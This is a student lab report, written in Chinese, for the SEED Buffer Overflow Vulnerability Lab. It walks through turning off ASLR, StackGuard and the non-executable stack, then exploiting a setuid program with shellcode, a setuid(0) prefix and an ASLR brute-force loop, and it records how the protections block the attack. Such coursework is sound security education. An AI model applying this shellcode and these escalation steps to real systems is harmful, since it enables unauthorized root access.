实 验 报 告

Buffer Overflow Vulnerability Lab

课程名称	软件安全
学　　院	计算机科学技术学院
专　　业	信息安全
姓　　名	冉津豪
学　　号	17307130179

开 课 时 间 2019 至 2020 学年第 二 学期

目录

Pre-Task Turning Off Countermeasures

关闭地址空间随机化。

```
sudo sysctl -w kernel.randomize_va_space=0
```

禁止 StackGuard 进行编译

```
gcc -fno-stack-protector example.c
```

execstack 编译

```
gcc -z execstack -o test test.c
```

Ubuntu 16.04 防止运行在 Set-UID 程序中，因此将/bin/sh 链接到 zsh

```
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
```

Task 1: Running Shellcode

编译 call_shellcode.c，并执行

```
gcc -z execstack -o call_shellcode call_shellcode.c
./call_shellcode
```

```
[04/29/20]seed@VM:~/.../1. Buffer_Overflow$ ./call_shellcode
$ ls
Buffer_Overflow.pdf  call_shellcode  call_shellcode.c  exploit.c  exploit.py  stack.c
$
```

Task 2: Exploiting the Vulnerability

编译 call_shellcode.c，关闭 StackGuard，设置为 execstack。

```
gcc -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
```

查看 stack，bof 汇编代码

```
gdb stack
disas main
disas bof
```

```
0x080484f4 <+9>:     push   DWORD PTR [ebp+0x8]
0x080484f7 <+12>:    lea    eax,[ebp-0x20]
0x080484fa <+15>:    push   eax
0x080484fb <+16>:    call   0x8048390 <strcpy@plt>
```

确定 str 在栈上的地址 ebp-0×211, buffer 在栈上的地址为 ebp-0x20。bof 的返回地址在栈上的位置为 ebp+4，所以返回地址的相对位置为 buffer+36。

设置断点查看 str 的具体地址：

```
b *0x08048568
```

```
[----------------------------------registers-----------------------------------]
EAX: 0x205
EBX: 0x0
ECX: 0x804b0a0 --> 0x0
EDX: 0x205
ESI: 0xb7fba000 --> 0x1b1db0
EDI: 0xb7fba000 --> 0x1b1db0
EBP: 0xbfffece8 --> 0x0
ESP: 0xbfffeaa4 --> 0x1
EIP: 0x8048568 (<main+94>:      lea    eax,[ebp-0x211])
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
```

将攻击代码放入距离 buffer 之后 0x100 字节的位置，即 0xbfffece8 - 0x211 +0x100 = 0xbfffebd7 处。

构造合适的 badfile，使返回地址为 0xbfffebd7，并把 shellcode 放到偏移为 0x100 处。

```
/* You need to fill the buffer with appropriate contents here */
    strcpy(buffer+36,"\xd7\xeb\xff\xbf");
    strcpy(buffer+0x100,shellcode);
```

运行成功：

```
[-----------------------------------code-----------------------------------]
   0xbfffebd4:  nop
   0xbfffebd5:  nop
   0xbfffebd6:  nop
=> 0xbfffebd7:  xor    eax,eax
   0xbfffebd9:  push   eax
   0xbfffebda:  push   0x68732f2f
   0xbfffebdf:  push   0x6e69622f
   0xbfffebe4:  mov    ebx,esp
```

```
gdb-peda$ q
[04/30/20]seed@VM:~/.../1. Buffer_Overflow$ stack
#
```

Task 3: Defeating dash's Countermeasure

将/bin/sh 链接到/bin/dash，此时由于 UID 的检测，之前的攻击将不再生效，不再拥有 ROOT 权限。

```
sudo rm /bin/sh
sudo ln -s /bin/dash /bin/sh
```

```
[04/30/20]seed@VM:~/.../1. Buffer_Overflow$ stack
$
```

可以通过添加 setuid(0)的汇编代码，使 UID 检测通过，攻击成功获得 ROOT 权限。

```
1   char shellcode[]=
2       "\x31\xc0" /* Line 1: xorl %eax,%eax */
3       "\x31\xdb" /* Line 2: xorl %ebx,%ebx */
4       "\xb0\xd5" /* Line 3: movb $0xd5,%al */
5       "\xcd\x80" /* Line 4: int $0x80 */
6       "\x31\xc0"            /* xorl    %eax,%eax            */
7       "\x50"               /* pushl   %eax                */
8       "\x68""//sh"          /* pushl   $0x68732f2f          */
9       "\x68""/bin"          /* pushl   $0x6e69622f          */
10      "\x89\xe3"            /* movl    %esp,%ebx            */
11      "\x50"               /* pushl   %eax                */
12      "\x53"               /* pushl   %ebx                */
13      "\x89\xe1"            /* movl    %esp,%ecx            */
14      "\x99"               /* cdq                         */
15      "\xb0\x0b"            /* movb    $0x0b,%al            */
16      "\xcd\x80"            /* int     $0x80                */
17  ;
```

Task 4: Defeating Address Randomization

将地址随机化复原：

```
sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

地址变动导致 Segmentation fault

```
[04/30/20]seed@VM:~/.../1. Buffer_Overflow$ stack
Segmentation fault
```

创建 shell script，进行地址猜测。

```
chmod +x ./bump.sh
./bump.sh
```

```
#!/bin/bash
SECONDS=0
value=0
while [ 1 ]
    do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$(($duration / 60))
    sec=$(($duration % 60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack
done
```

在 24933 次时，爆破成功。

```
The program has been running 24929 times so far.
./bump.sh: line 13:  2733 Segmentation fault      ./stack
0 minutes and 24 seconds elapsed.
The program has been running 24930 times so far.
./bump.sh: line 13:  2734 Segmentation fault      ./stack
0 minutes and 24 seconds elapsed.
The program has been running 24931 times so far.
./bump.sh: line 13:  2735 Segmentation fault      ./stack
0 minutes and 24 seconds elapsed.
The program has been running 24932 times so far.
./bump.sh: line 13:  2736 Segmentation fault      ./stack
0 minutes and 24 seconds elapsed.
The program has been running 24933 times so far.
#
```

Task 5: Turn on the StackGuard Protection

再次关闭地址随机，重新编译 stack.c。

```
gcc -o stack -z execstack  stack.c
./stack.c
```

检测到栈溢出，进程终止。

```
[04/30/20]seed@VM:~/.../1. Buffer_Overflow$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

Task 6: Turn on the Non-executable Stack Protection

打开 Non-executable Stack，关闭 StackGuard，重新编译 stack.c。

```
gcc -o stack -fno-stack-protector -z noexecstack stack.c
./stack.c
```

产生 Segmentation fault，Non-executable Stack 的原理是不执行栈上的 CODE，打开 Non-executable Stack，当通过构造的返回地址跳转到栈上注入代码的位置时，将直接触发 Segmentation fault，达到保护目的。